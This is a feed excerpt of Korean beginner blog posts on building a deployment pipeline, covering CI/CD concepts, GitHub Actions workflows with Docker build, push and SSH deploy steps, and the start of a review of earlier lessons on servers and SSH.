            <guid>https://velog.io/@jjang_hyo/Day-13-Docker-%EB%B0%B0%ED%8F%AC-%ED%9D%90%EB%A6%84-%EC%97%B0%EA%B2%B0-%ED%8D%BC%EC%A6%90%EC%9D%B4-%EC%99%84%EC%84%B1%EB%90%98%EB%8B%A4</guid>
            <pubDate>Mon, 04 May 2026 06:14:45 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p>프론트엔드 기초 다시 쌓기 챌린지 13일차.
Week 3 &quot;실전 배포 흐름&quot;의 세 번째 수업.
Day 11에서 CI/CD를, Day 12에서 Docker를 각각 배웠다면,
오늘은 <strong>이 둘을 합쳐서 완성된 배포 파이프라인</strong>을 만드는 시간이었다.</p>
</blockquote>
<hr>
<h2 id="🍳-오늘의-비유-자동화-시스템-완성">🍳 오늘의 비유: &quot;자동화 시스템 완성&quot;</h2>
<p>지금까지 배운 걸 레스토랑으로 쭉 이어보면:</p>
<p><strong>수동 시대 (Day 11 이전)</strong></p>
<pre><code>셰프가 직접 시장 가서 재료 삼
→ 직접 손질
→ 직접 주방 세팅
→ 직접 불 켬
→ 하루 5번이면 셰프가 쓰러짐</code></pre><p><strong>CI/CD만 도입 (Day 11)</strong></p>
<pre><code>레시피 제출하면 로봇이 자동으로 처리
→ 근데 2호점은 주방 환경이 달라서 맛이 다름 😩</code></pre><p><strong>Docker만 도입 (Day 12)</strong></p>
<pre><code>주방 통째로 박스에 넣어서 보내면 어디서든 같은 맛
→ 근데 박스 만들고 보내는 걸 사람이 직접 해야 함 😩</code></pre><p><strong>CI/CD + Docker (오늘!)</strong></p>
<pre><code>셰프가 레시피북에 새 레시피 적어 넣으면 (git push)
→ 로봇이 자동으로 이동식 주방(이미지) 만들고
→ 중앙 창고(Docker Hub)에 보관하고
→ 각 지점(서버)에서 꺼내서 영업 시작
→ 셰프는 레시피만 잘 쓰면 됨!</code></pre><hr>
<h2 id="🔄-전체-파이프라인-git-push-→-사용자-화면">🔄 전체 파이프라인: git push → 사용자 화면</h2>
<p>오늘의 핵심. 개발자가 하는 일은 <strong>git push 하나뿐</strong>이다. 나머지는 전부 자동.</p>
<pre><code>[1. 개발자]
코드 수정 → git push to main

        ↓

[2. GitHub Actions (CI)]
코드 체크아웃
→ docker build (이미지 생성)
→ 테스트 실행 (lint, 빌드 확인)
→ docker push (이미지를 Docker Hub에 업로드)

        ↓

[3. Docker Hub (창고)]
이미지 보관 중...

        ↓

[4. GitHub Actions (CD)]
SSH로 서버 접속
→ docker pull (이미지 다운로드)
→ docker run (컨테이너 실행)

        ↓

[5. 서버]
컨테이너 안에서 yarn start 자동 실행
→ Nginx가 요청을 컨테이너로 전달

        ↓

[6. 사용자]
사이트 접속 → 새 버전 확인!</code></pre><hr>
<h2 id="📄-실제-github-actions--docker-yaml-파일">📄 실제 GitHub Actions + Docker YAML 파일</h2>
<p>Day 11에서는 Docker 없이 배포하는 YAML을 봤다.
오늘은 <strong>Docker를 합친 버전</strong>이다.</p>
<pre><code class="language-yaml"># .github/workflows/deploy.yml
name: Docker 배포 자동화

on:
  push:
    branches: [main]

jobs:
  build-and-push:
    runs-on: ubuntu-latest

    steps:
      # 1단계: 코드 가져오기
      - name: 코드 체크아웃
        uses: actions/checkout@v4

      # 2단계: Docker Hub 로그인
      - name: Docker Hub 로그인
        run: echo ${{ secrets.DOCKER_PASSWORD }} | docker login -u ${{ secrets.DOCKER_USERNAME }} --password-stdin

      # 3단계: Docker 이미지 빌드
      - name: 이미지 빌드
        run: docker build -t myusername/my-nextjs-app:latest .

      # 4단계: Docker Hub에 업로드
      - name: 이미지 푸시
        run: docker push myusername/my-nextjs-app:latest

  deploy:
    needs: build-and-push    # 위의 job이 끝나야 실행
    runs-on: ubuntu-latest

    steps:
      # 5단계: 서버에 접속해서 새 이미지로 실행
      - name: 서버 배포
        run: |
          ssh -i ${{ secrets.SSH_KEY }} ubuntu@${{ secrets.SERVER_IP }} &lt;&lt; &#39;EOF&#39;
            docker pull myusername/my-nextjs-app:latest
            docker stop my-app || true
            docker rm my-app || true
            docker run -d --name my-app -p 5008:5008 myusername/my-nextjs-app:latest
          EOF</code></pre>
<h3 id="레스토랑-비유로-한-줄씩-해석">레스토랑 비유로 한 줄씩 해석</h3>
<pre><code>코드 체크아웃          → 재료 창고에서 레시피 가져오기
Docker Hub 로그인     → 중앙 창고 출입증 찍기
이미지 빌드           → 이동식 주방 조립 (Dockerfile 기반)
이미지 푸시           → 완성된 주방을 중앙 창고에 보관
서버 배포:
  docker pull         → 지점에서 창고에서 주방 꺼내오기
  docker stop/rm      → 기존 주방 정리
  docker run          → 새 주방 세팅하고 영업 시작!</code></pre><hr>
<h2 id="🔑-오늘-새로-배운-키워드들">🔑 오늘 새로 배운 키워드들</h2>
<h3 id="needs-build-and-push"><code>needs: build-and-push</code></h3>
<p>Job 간 순서를 지정하는 것이다.</p>
<pre><code>Job 1: build-and-push (이미지 만들고 창고에 올리기)
Job 2: deploy (서버에 배포하기)

needs = &quot;Job 1이 끝나야 Job 2를 시작해&quot;</code></pre><p>당연하다. 이미지가 창고에 올라가지도 않았는데 서버에서 꺼내올 수는 없으니까.</p>
<h3 id="docker-stop-→-docker-rm-→-docker-run-3단계"><code>docker stop → docker rm → docker run</code> 3단계</h3>
<pre><code class="language-bash">docker stop my-app || true    # 기존 컨테이너 멈춤
docker rm my-app || true      # 기존 컨테이너 삭제
docker run -d --name my-app -p 5008:5008 myusername/my-nextjs-app:latest</code></pre>
<p>왜 3단계인가?</p>
<pre><code>1. docker stop  → 기존 푸드트럭 영업 종료
2. docker rm    → 기존 푸드트럭 철거
3. docker run   → 새 푸드트럭 세팅하고 영업 시작</code></pre><p>기존 컨테이너가 5008 포트를 쓰고 있으니까, 안 지우고 새 걸 띄우면 <strong>포트 충돌</strong>이 난다.
하나의 포트에 두 개의 앱이 동시에 붙을 수 없다 (Day 9에서 배운 내용).</p>
<p><code>|| true</code>는 &quot;혹시 기존 컨테이너가 없어도 에러 내지 말고 넘어가&quot;라는 뜻이다.
처음 배포할 때는 기존 컨테이너가 없을 수 있으니까.</p>
<h3 id="-d-플래그--백그라운드-실행"><code>-d</code> 플래그 = 백그라운드 실행</h3>
<pre><code>docker run my-app        → 터미널에 로그가 쭉 뜸, 터미널 닫으면 멈춤
docker run -d my-app     → 백그라운드에서 조용히 실행, 터미널 닫아도 계속 돌아감</code></pre><p>Day 7에서 배운 &quot;SSH 끊으면 프로세스가 죽는 문제&quot;를 <code>-d</code>가 해결해준다.</p>
<hr>
<h2 id="📊-day-11-방식-vs-day-13-방식-비교">📊 Day 11 방식 vs Day 13 방식 비교</h2>
<table>
<thead>
<tr>
<th></th>
<th>Day 11 (Docker 없이)</th>
<th>Day 13 (Docker로)</th>
</tr>
</thead>
<tbody><tr>
<td>서버에서 하는 일</td>
<td>git pull → yarn install → yarn build → pm2 restart</td>
<td>docker pull → docker run</td>
</tr>
<tr>
<td>빌드 위치</td>
<td>서버에서 직접 빌드</td>
<td>GitHub Actions에서 빌드 (이미지 안에 포함)</td>
</tr>
<tr>
<td>서버에 필요한 것</td>
<td>Node.js, yarn, pm2 전부 설치</td>
<td>Docker만 설치</td>
</tr>
<tr>
<td>환경 차이 문제</td>
<td>발생 가능</td>
<td>없음 (이미지 안에 다 들어있음)</td>
</tr>
<tr>
<td>서버 2대로 늘릴 때</td>
<td>2대 다 환경 세팅 필요</td>
<td>docker run만 하면 됨</td>
</tr>
</tbody></table>
<hr>
<h2 id="🔗-week-13-전체-연결">🔗 Week 1~3 전체 연결</h2>
<p>지금까지 배운 모든 게 하나의 파이프라인 안에 들어있다.</p>
<pre><code>[개발자] 코드 작성 + git push
    ↓
[GitHub Actions] CI/CD (Day 11)
    ↓
[Docker] 이미지 빌드 + 푸시 (Day 12)
    ↓
[서버] docker pull + docker run (Day 13 - 오늘)
    ↓
[pm2 또는 Docker] 프로세스 관리 (Day 8)
    ↓
[Nginx] 요청을 앱으로 전달 (Day 9)
    ↓
[사용자] 사이트 접속!
    ↓
[로그] 문제 생기면 확인 (Day 10)</code></pre><p>Week 1에서 배운 빌드, Week 2에서 배운 서버·pm2·Nginx,
Week 3에서 배운 CI/CD·Docker가 전부 하나로 연결된다.</p>
<hr>
<h2 id="🍳-레스토랑-비유-업데이트">🍳 레스토랑 비유 업데이트</h2>
<table>
<thead>
<tr>
<th>레스토랑</th>
<th>서버</th>
</tr>
</thead>
<tbody><tr>
<td>레시피 적고 레시피북에 넣기</td>
<td>git push</td>
</tr>
<tr>
<td>로봇이 이동식 주방 자동 조립</td>
<td>GitHub Actions + docker build</td>
</tr>
<tr>
<td>완성된 주방을 중앙 창고에 보관</td>
<td>docker push → Docker Hub</td>
</tr>
<tr>
<td>지점에서 창고에서 주방 꺼냄</td>
<td>docker pull</td>
</tr>
<tr>
<td>기존 주방 철거</td>
<td>docker stop + docker rm</td>
</tr>
<tr>
<td>새 주방 세팅하고 영업 시작</td>
<td>docker run -d</td>
</tr>
<tr>
<td>&quot;이전 작업 끝나야 다음 시작&quot;</td>
<td>needs: build-and-push</td>
</tr>
</tbody></table>
<hr>
<h2 id="🎯-오늘-배운-것-최종-정리">🎯 오늘 배운 것 최종 정리</h2>
<ol>
<li><strong>CI/CD + Docker = 완성된 배포 파이프라인</strong>: git push만 하면 이미지 생성 → 창고 업로드 → 서버 배포까지 전부 자동</li>
<li><strong>개발자가 하는 일은 git push 하나뿐</strong>: 나머지는 GitHub Actions가 전부 자동 처리</li>
<li><strong>서버에서는 docker pull + docker run만</strong>: 빌드는 이미지 안에 이미 완료</li>
<li><strong>needs</strong>: Job 간 순서 지정 (&quot;이미지 만들기 끝나야 배포 시작&quot;)</li>
<li><strong>stop → rm → run 3단계</strong>: 기존 컨테이너 정리하고 새 걸로 교체 (포트 충돌 방지)</li>
<li><strong>-d 플래그</strong>: 백그라운드 실행 (SSH 끊어도 계속 돌아감)</li>
<li><strong>Week 1~3 전체 연결</strong>: 빌드 → CI/CD → Docker → 서버 → Nginx → 사용자</li>
</ol>
<hr>
<h2 id="🧪-이해도-체크">🧪 이해도 체크</h2>
<p><strong>Q1. CI/CD + Docker 배포에서 개발자가 하는 일은?</strong>
→ 정답: git push 하나뿐. 이후 GitHub Actions가 docker build → docker push → 서버에서 docker pull → docker run까지 전부 자동으로 처리.</p>
<p><strong>Q2. Day 11 방식과 Day 13 방식에서 &quot;서버에서 하는 일&quot;의 차이는?</strong>
→ 정답: Docker 없이는 서버에서 git pull → yarn install → yarn build → pm2 restart를 직접 해야 한다. Docker로는 docker pull → docker run만 하면 끝. 빌드는 이미지 안에 이미 완료되어 있기 때문.</p>
<p><strong>Q3. docker stop → docker rm → docker run 3단계를 거치는 이유는?</strong>
→ 정답: 기존 컨테이너가 포트를 잡고 있어서, 안 지우고 새 걸 띄우면 포트 충돌이 난다. 기존 걸 멈추고(stop), 지우고(rm), 새로 띄우는(run) 순서.</p>
<hr>
<h2 id="💭-회고">💭 회고</h2>
<p>Day 11에서 CI/CD를 배웠을 때는 &quot;자동화 편하겠다&quot; 정도였고,
Day 12에서 Docker를 배웠을 때는 &quot;환경 통일 좋겠다&quot; 정도였다.</p>
<p>오늘 이 둘을 합치니까 비로소 <strong>&quot;아, 이게 현대적인 배포구나&quot;</strong> 가 느껴졌다.
git push 하나로 빌드부터 배포까지 전부 자동. 환경도 동일 보장.</p>
<p>Week 1~3에서 배운 빌드, 서버, pm2, Nginx, CI/CD, Docker가
전부 하나의 파이프라인 안에 들어있다는 게 신기했다.
하나하나 따로 배울 때는 몰랐는데, 합치니까 전부 연결된다.</p>
<hr>
<h2 id="📚-다음-학습-예고">📚 다음 학습 예고</h2>
<blockquote>
<p><strong>Day 14: 빌드 에러 해결 패턴 + 롤백 개념</strong>
자동 배포가 완성됐는데... 배포한 버전에 버그가 있으면?
&quot;되돌리기&quot;는 어떻게 하는가!</p>
</blockquote>
<p>#프론트엔드 #Docker #CI/CD #GitHubActions #배포파이프라인 #2년차개발자 #기초다시쌓기</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Day 11] CI/CD란 무엇인가? (GitHub Actions 기본)]]></title>
            <link>https://velog.io/@jjang_hyo/Day-11-CICD%EB%9E%80-%EB%AC%B4%EC%97%87%EC%9D%B8%EA%B0%80-GitHub-Actions-%EA%B8%B0%EB%B3%B8</link>
            <guid>https://velog.io/@jjang_hyo/Day-11-CICD%EB%9E%80-%EB%AC%B4%EC%97%87%EC%9D%B8%EA%B0%80-GitHub-Actions-%EA%B8%B0%EB%B3%B8</guid>
            <pubDate>Tue, 28 Apr 2026 07:45:34 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p>프론트엔드 기초 다시 쌓기 챌린지 11일차.
Week 3 &quot;실전 배포 흐름&quot;의 첫 번째 수업.
지금까지 빌드·배포·서버·pm2·Nginx·로그까지 배웠다면,
오늘은 <strong>&quot;이걸 왜 매번 수동으로 하고 있었지?&quot;</strong> 라는 질문에서 시작한다.</p>
</blockquote>
<hr>
<h2 id="🤖-오늘의-비유-자동-주방-관리-로봇">🤖 오늘의 비유: &quot;자동 주방 관리 로봇&quot;</h2>
<p>지금까지의 배포 과정을 떠올려보면 이렇다.</p>
<pre><code>1. 코드 수정 완료
2. SSH로 서버 접속
3. git pull (코드 가져오기)
4. yarn build (빌드)
5. pm2 restart (재시작)
6. 잘 되나 확인</code></pre><p>하루에 한 번이면 괜찮은데, 하루에 5번 배포하면? 실수할 확률이 엄청 올라간다.</p>
<p>레스토랑 비유로 하면 <strong>셰프가 매번 직접 시장 가서 재료 사고, 손질하고, 세팅하고, 불 켜는 것</strong>이다.</p>
<p>CI/CD는 <strong>&quot;자동 주방 관리 로봇&quot;</strong>을 도입하는 것이다.
새 레시피를 레시피북에 적어 넣으면(git push), 로봇이 알아서 다 해준다.</p>
<hr>
<h2 id="🔄-ci와-cd-각각-뭔가">🔄 CI와 CD, 각각 뭔가?</h2>
<h3 id="ci-continuous-integration-지속적-통합">CI: Continuous Integration (지속적 통합)</h3>
<p><strong>&quot;코드를 합칠 때마다 자동으로 검사한다&quot;</strong></p>
<p>레스토랑 비유로 하면 <strong>자동 품질 검사 시스템</strong>이다.</p>
<ul>
<li>셰프가 새 레시피를 제출하면</li>
<li>자동으로 맛 테스트 (코드 테스트)</li>
<li>자동으로 위생 검사 (린트 검사)</li>
<li>자동으로 재료 손질 가능한지 확인 (빌드 성공 여부)</li>
<li>통과하면 ✅, 실패하면 ❌ 알림</li>
</ul>
<p><strong>핵심: &quot;문제를 빨리 발견하는 것&quot;</strong></p>
<h3 id="cd-continuous-deployment--delivery-지속적-배포">CD: Continuous Deployment / Delivery (지속적 배포)</h3>
<p><strong>&quot;검사 통과하면 자동으로 배포까지 한다&quot;</strong></p>
<p>여기서 Delivery와 Deployment의 차이가 중요하다.</p>
<table>
<thead>
<tr>
<th>구분</th>
<th>레스토랑 비유</th>
<th>실제</th>
</tr>
</thead>
<tbody><tr>
<td>CI</td>
<td>새 레시피 → 자동 맛 테스트 + 위생 검사</td>
<td>push → 자동 빌드 + 테스트</td>
</tr>
<tr>
<td>CD (Delivery)</td>
<td>검사 통과 → 주방 앞까지 갖다 놓음 (셰프가 직접 불 켬)</td>
<td>배포 <strong>직전까지</strong> 자동 + 사람이 최종 승인</td>
</tr>
<tr>
<td>CD (Deployment)</td>
<td>검사 통과 → 자동으로 불까지 켜짐</td>
<td>배포까지 <strong>전부</strong> 자동</td>
</tr>
</tbody></table>
<p><strong>Delivery vs Deployment 차이는 딱 하나:</strong></p>
<blockquote>
<p>마지막 &quot;배포 실행&quot; 버튼을 <strong>사람이 누르느냐</strong>, <strong>자동이냐</strong>.</p>
</blockquote>
<p>많은 회사에서 Delivery를 쓰는 이유는, 프로덕션에 자동으로 바로 올라가면 무서우니까
<strong>&quot;마지막 확인은 사람이 하자&quot;</strong> 라는 안전장치를 두는 것이다.
쇼핑몰 같은 서비스는 결제 몰리는 시간에 배포하면 안 되니까.</p>
<hr>
<h2 id="⚙️-github-actions란">⚙️ GitHub Actions란?</h2>
<p>CI/CD를 해주는 도구는 여러 개 있다. Jenkins, CircleCI, GitLab CI 등.
그 중 <strong>GitHub Actions</strong>는 GitHub에 내장된 CI/CD 도구다.</p>
<p>레스토랑 비유로 하면 <strong>레스토랑에 설치된 &quot;자동 주방 관리 로봇&quot;</strong>이다.
레시피북(GitHub 저장소)에 새 레시피가 추가되면, 로봇이 자동으로 일을 시작한다.</p>
<h3 id="핵심-용어-4가지">핵심 용어 4가지</h3>
<pre><code>📦 Workflow (워크플로우) = &quot;자동화 작업 전체 계획서&quot;
   → 로봇에게 주는 작업 지시서

📋 Event (이벤트) = &quot;언제 시작할지&quot;
   → &quot;새 레시피가 들어오면 시작해&quot; (push, pull request 등)

🔧 Job (잡) = &quot;큰 작업 단위&quot;
   → &quot;1번: 재료 검사하기, 2번: 요리하기&quot;

👣 Step (스텝) = &quot;잡 안의 세부 단계&quot;
   → &quot;1-1: 재료 꺼내기, 1-2: 신선도 확인, 1-3: 손질하기&quot;</code></pre><h3 id="워크플로우-파일은-어디에">워크플로우 파일은 어디에?</h3>
<p>프로젝트 루트에 <code>.github/workflows/</code> 폴더 안에 YAML 파일로 만든다.</p>
<pre><code>내 프로젝트/
├── .github/
│   └── workflows/
│       └── deploy.yml    ← 이 파일이 &quot;작업 지시서&quot;
├── pages/
├── package.json
└── ...</code></pre><hr>
<h2 id="📄-실제-github-actions-파일-읽어보기">📄 실제 GitHub Actions 파일 읽어보기</h2>
<p>아직 직접 만들 필요는 없다. <strong>읽을 수 있으면</strong> 된다.</p>
<pre><code class="language-yaml"># .github/workflows/deploy.yml
name: 배포 자동화          # 워크플로우 이름

on:                        # 📋 Event: &quot;언제 실행할지&quot;
  push:
    branches: [main]       # main 브랜치에 push하면 실행

jobs:                      # 🔧 Job 목록
  build-and-deploy:        # Job 이름
    runs-on: ubuntu-latest # 어떤 컴퓨터에서 실행할지

    steps:                 # 👣 세부 단계들
      # 1단계: 코드 가져오기
      - name: 코드 체크아웃
        uses: actions/checkout@v4

      # 2단계: Node.js 설치
      - name: Node.js 설치
        uses: actions/setup-node@v4
        with:
          node-version: &#39;18&#39;

      # 3단계: 패키지 설치
      - name: 의존성 설치
        run: yarn install

      # 4단계: 빌드
      - name: 빌드
        run: yarn build

      # 5단계: 서버에 배포
      - name: 서버에 배포
        run: |
          ssh -i ${{ secrets.SSH_KEY }} ubuntu@${{ secrets.SERVER_IP }} &lt;&lt; &#39;EOF&#39;
            cd /var/www/my-project
            git pull origin main
            yarn install
            yarn build
            pm2 restart my-app
          EOF</code></pre>
<h3 id="레스토랑-비유로-한-줄씩-해석">레스토랑 비유로 한 줄씩 해석</h3>
<pre><code>name: 배포 자동화        → 작업 지시서 이름: &quot;신메뉴 자동 세팅&quot;
on: push, branches: main → &quot;메인 레시피북에 새 레시피 들어오면 시작&quot;
runs-on: ubuntu-latest   → &quot;임시 작업 공간에서 실행&quot;
코드 체크아웃             → 재료 창고에서 재료 꺼내오기
Node.js 설치             → 조리 도구 준비
yarn install             → 재료 진열
yarn build               → 재료 손질 + 소스 만들기
서버에 배포              → 완성된 걸 진짜 주방으로 옮기고 불 켜기</code></pre><hr>
<h2 id="🔐-github-secrets">🔐 GitHub Secrets</h2>
<p>위 파일에서 <code>${{ secrets.SSH_KEY }}</code> 부분이 있다.</p>
<p>SSH 키나 서버 IP 같은 비밀 값을 코드에 직접 쓰면 전 세계에 공개된다.
그래서 <strong>GitHub 저장소의 Settings → Secrets</strong>에 저장해두고 필요할 때만 꺼내 쓴다.</p>
<p>레스토랑 비유: 로봇에게 열쇠(SSH 키)를 주려면 <strong>금고(Secrets)</strong>에 넣어두고 필요할 때만 꺼내 쓰게 하는 것. 레시피북(코드)에 열쇠를 붙여놓으면 누구나 볼 수 있으니까.</p>
<hr>
<h2 id="🧪-ci에서-자동으로-돌리는-검사-3가지">🧪 CI에서 자동으로 돌리는 검사 3가지</h2>
<h3 id="1-코드-규칙-검사-lint">1. 코드 규칙 검사 (Lint)</h3>
<p>레스토랑 비유: <strong>&quot;레시피 맞춤법 검사&quot;</strong></p>
<pre><code class="language-javascript">// ❌ lint 에러: 세미콜론 빠짐, 안 쓰는 변수
const name = &quot;hello&quot;
const unused = 123

// ✅ 통과
const name = &quot;hello&quot;;</code></pre>
<p>ESLint 같은 도구가 &quot;코드 스타일이 규칙에 맞는지&quot; 자동 검사해준다.</p>
<h3 id="2-빌드-테스트">2. 빌드 테스트</h3>
<p>레스토랑 비유: <strong>&quot;재료 손질이 제대로 되는지 확인&quot;</strong></p>
<p><code>yarn build</code>가 성공하는지 확인하는 것. 단순하지만 엄청 중요하다.
TypeScript 타입 에러가 있으면 빌드가 깨지는데, 서버에서 발견하면 이미 늦는다. CI에서 미리 잡아준다.</p>
<h3 id="3-유닛-테스트--컴포넌트-테스트">3. 유닛 테스트 / 컴포넌트 테스트</h3>
<p>레스토랑 비유: <strong>&quot;자동 맛 테스트 로봇&quot;</strong></p>
<pre><code class="language-javascript">// &quot;장바구니에 상품 추가하면 수량이 1 증가해야 한다&quot;
test(&#39;장바구니 추가&#39;, () =&gt; {
  const cart = addItem(cart, item);
  expect(cart.length).toBe(1);  // 1이면 ✅, 아니면 ❌
});</code></pre>
<p><strong>실행 순서:</strong></p>
<pre><code>git push → lint 검사 → 빌드 테스트 → 유닛 테스트
  → 전부 ✅ → 배포 진행
  → 하나라도 ❌ → 배포 중단 + 알림</code></pre><blockquote>
<p>모든 회사가 3개 다 하는 건 아니다. 작은 팀이나 초기 프로젝트에서는 lint + 빌드만 돌리는 경우도 많다.</p>
</blockquote>
<hr>
<h2 id="📊-cicd-없을-때-vs-있을-때">📊 CI/CD 없을 때 vs 있을 때</h2>
<table>
<thead>
<tr>
<th>상황</th>
<th>CI/CD 없이 (수동)</th>
<th>CI/CD 있을 때 (자동)</th>
</tr>
</thead>
<tbody><tr>
<td>배포할 때</td>
<td>SSH 접속 → git pull → build → restart</td>
<td>git push만 하면 끝</td>
</tr>
<tr>
<td>빌드 에러</td>
<td>서버에서 발견 (이미 늦음)</td>
<td>push하자마자 알림 ❌</td>
</tr>
<tr>
<td>실수 가능성</td>
<td>높음 (명령어 빠뜨리기 등)</td>
<td>낮음 (항상 같은 순서)</td>
</tr>
<tr>
<td>배포 시간</td>
<td>10~20분 (사람이 직접)</td>
<td>5~10분 (자동, 다른 일 가능)</td>
</tr>
<tr>
<td>야근 중 배포</td>
<td>집중력 떨어져서 더 위험</td>
<td>로봇은 피곤하지 않음</td>
</tr>
</tbody></table>
<hr>
<h2 id="🍳-레스토랑-비유-업데이트">🍳 레스토랑 비유 업데이트</h2>
<table>
<thead>
<tr>
<th>레스토랑</th>
<th>서버</th>
</tr>
</thead>
<tbody><tr>
<td>자동 주방 관리 로봇</td>
<td>GitHub Actions</td>
</tr>
<tr>
<td>작업 지시서</td>
<td>Workflow (YAML 파일)</td>
</tr>
<tr>
<td>&quot;새 레시피 들어오면 시작&quot;</td>
<td>Event (on: push)</td>
</tr>
<tr>
<td>큰 작업 (재료검사, 요리)</td>
<td>Job</td>
</tr>
<tr>
<td>세부 단계 (꺼내기, 손질)</td>
<td>Step</td>
</tr>
<tr>
<td>로봇의 금고 (열쇠 보관)</td>
<td>GitHub Secrets</td>
</tr>
</tbody></table>
<hr>
<h2 id="🎯-오늘-배운-것-최종-정리">🎯 오늘 배운 것 최종 정리</h2>
<ol>
<li><strong>CI/CD란</strong>: git push만 하면 빌드·테스트·배포가 자동으로 돌아가는 시스템</li>
<li><strong>CI (Continuous Integration)</strong>: 코드 합칠 때 자동 검사 (lint → 빌드 → 테스트)</li>
<li><strong>CD Delivery</strong>: 배포 직전까지 자동, 마지막은 사람이 승인</li>
<li><strong>CD Deployment</strong>: 배포까지 전부 자동</li>
<li><strong>GitHub Actions</strong>: <code>.github/workflows/</code>에 YAML 파일로 작성</li>
<li><strong>4가지 핵심 개념</strong>: Workflow → Event → Job → Step</li>
<li><strong>Secrets</strong>: SSH 키 같은 비밀 값은 GitHub Secrets에 보관</li>
<li><strong>CI 검사 3가지</strong>: lint(코드 규칙) → 빌드 테스트 → 유닛 테스트</li>
</ol>
<hr>
<h2 id="🧪-이해도-체크">🧪 이해도 체크</h2>
<p><strong>Q1. CI/CD를 레스토랑 비유로 설명하면?</strong>
→ 정답: 레시피북에 새 레시피 넣으면 자동으로 재료 손질 + 맛 테스트 + 주방 세팅까지 되는 것</p>
<p><strong>Q2. Delivery와 Deployment의 차이는?</strong>
→ 정답: 마지막 배포 버튼을 사람이 누르느냐(Delivery), 자동이냐(Deployment)</p>
<p><strong>Q3. 비밀 값(SSH 키 등)을 GitHub Actions에서 쓰려면?</strong>
→ 정답: GitHub 저장소의 Secrets에 저장. 코드에 직접 쓰면 전 세계에 공개됨</p>
<hr>
<h2 id="💭-회고">💭 회고</h2>
<p>지금까지 Day 7에서 SSH, Day 8에서 pm2, Day 9에서 Nginx를 배우면서
수동으로 서버에 접속하고, 빌드하고, 재시작하는 흐름을 익혔다.</p>
<p>오늘은 <strong>&quot;이걸 왜 매번 수동으로 하고 있었지?&quot;</strong> 라는 질문에 대한 답을 찾았다.
CI/CD가 별게 아니었다. 내가 수동으로 하던 과정을 로봇이 대신하는 것이다.</p>
<p>YAML 파일이 처음에는 낯설었는데, 한 줄씩 레스토랑 비유로 해석하니까
&quot;아 그냥 내가 터미널에 치던 명령어를 순서대로 적어놓은 거구나&quot; 싶었다.</p>
<p>특히 Delivery와 Deployment 차이가 인상적이었다.
&quot;마지막 버튼을 사람이 누르느냐, 자동이냐&quot; 하나 차이인데,
실제로 프로덕션 배포할 때 이 안전장치가 얼마나 중요한지 느껴진다.</p>
<hr>
<h2 id="📚-다음-학습-예고">📚 다음 학습 예고</h2>
<blockquote>
<p><strong>Day 12: Docker 기초 — 컨테이너가 뭐야?</strong>
GitHub Actions에서 <code>runs-on: ubuntu-latest</code>라고 쓴 &quot;임시 작업 공간&quot; 개념을 더 깊이 파고든다.
레스토랑 비유: &quot;어디에 가져다 놔도 똑같은 요리가 나오는 이동식 주방&quot; 🚚</p>
</blockquote>
<p>#프론트엔드 #CI/CD #GitHubActions #배포자동화 #2년차개발자 #기초다시쌓기</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Day 5~10 복습 요약 정리]]></title>
            <link>https://velog.io/@jjang_hyo/Day-510-%EB%B3%B5%EC%8A%B5-%EC%9A%94%EC%95%BD-%EC%A0%95%EB%A6%AC</link>
            <guid>https://velog.io/@jjang_hyo/Day-510-%EB%B3%B5%EC%8A%B5-%EC%9A%94%EC%95%BD-%EC%A0%95%EB%A6%AC</guid>
            <pubDate>Tue, 28 Apr 2026 07:01:05 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p>📚 Week 1 후반 ~ Week 2 전체 복습용
한눈에 보는 핵심 정리</p>
</blockquote>
<hr>
<h2 id="day-5-개발-서버-vs-프로덕션-서버">Day 5: 개발 서버 vs 프로덕션 서버</h2>
<blockquote>
<p><strong>dev = 개발 모드, start = 프로덕션 모드 (둘 다 어디서든 실행 가능!)</strong></p>
</blockquote>
<table>
<thead>
<tr>
<th></th>
<th><code>yarn dev</code></th>
<th><code>yarn start</code></th>
</tr>
</thead>
<tbody><tr>
<td>빌드 필요?</td>
<td>❌ 바로 실행</td>
<td>✅ <code>yarn build</code> 먼저</td>
</tr>
<tr>
<td>코드 수정 반영</td>
<td>즉시 반영 (HMR)</td>
<td>다시 빌드해야 반영</td>
</tr>
<tr>
<td>에러 메시지</td>
<td>친절하고 자세함</td>
<td>간략함</td>
</tr>
<tr>
<td>용도</td>
<td>개발할 때</td>
<td>사용자에게 보여줄 때</td>
</tr>
</tbody></table>
<blockquote>
<p>⚠️ &quot;dev는 로컬, start는 서버&quot;가 아니다!
<strong>dev는 개발 모드, start는 프로덕션 모드</strong>가 정확한 표현.</p>
</blockquote>
<hr>
<h2 id="day-6-서버란-무엇인가">Day 6: 서버란 무엇인가?</h2>
<blockquote>
<p><strong>서버 = 24시간 켜져 있으면서 요청에 응답하는 컴퓨터 (주방 건물)</strong></p>
</blockquote>
<table>
<thead>
<tr>
<th>유형</th>
<th>비유</th>
<th>특징</th>
</tr>
</thead>
<tbody><tr>
<td>자체 서버</td>
<td>건물 사서 주방 직접 만듦</td>
<td>완전 제어, 관리 부담 큼</td>
</tr>
<tr>
<td>AWS (클라우드)</td>
<td>공유 주방 월세</td>
<td>빌려 쓰기, 스케일링 가능, 설정은 직접</td>
</tr>
<tr>
<td>Vercel (서버리스)</td>
<td>배달 전문 클라우드 키친</td>
<td>코드만 넘기면 끝, 자동 스케일링</td>
</tr>
</tbody></table>
<p>트래픽 폭증 시 가장 빠른 대응: <strong>Vercel</strong> (자동 스케일링)</p>
<p><strong>배포와 실행은 다른 단계!</strong>
| 개념 | 의미 | 비유 |
|---|---|---|
| 배포 | 빌드된 파일을 서버로 옮김 | 재료를 주방에 갖다 놓음 |
| 실행 (yarn start) | 앱 프로그램을 켬 | 가스레인지 불 켜고 영업 시작 |</p>
<hr>
<h2 id="day-7-ssh란">Day 7: SSH란?</h2>
<blockquote>
<p><strong>SSH = 멀리 있는 서버에 안전하게 접속해서 명령어를 입력하는 방법 (전화선)</strong></p>
</blockquote>
<h3 id="접속-명령어">접속 명령어</h3>
<pre><code class="language-bash">ssh -i my-key.pem ubuntu@13.125.200.50</code></pre>
<table>
<thead>
<tr>
<th>부분</th>
<th>의미</th>
</tr>
</thead>
<tbody><tr>
<td><code>ssh</code></td>
<td>SSH 프로그램 실행 (전화기를 든다)</td>
</tr>
<tr>
<td><code>-i my-key.pem</code></td>
<td>개인 키 파일로 인증 (열쇠)</td>
</tr>
<tr>
<td><code>ubuntu</code></td>
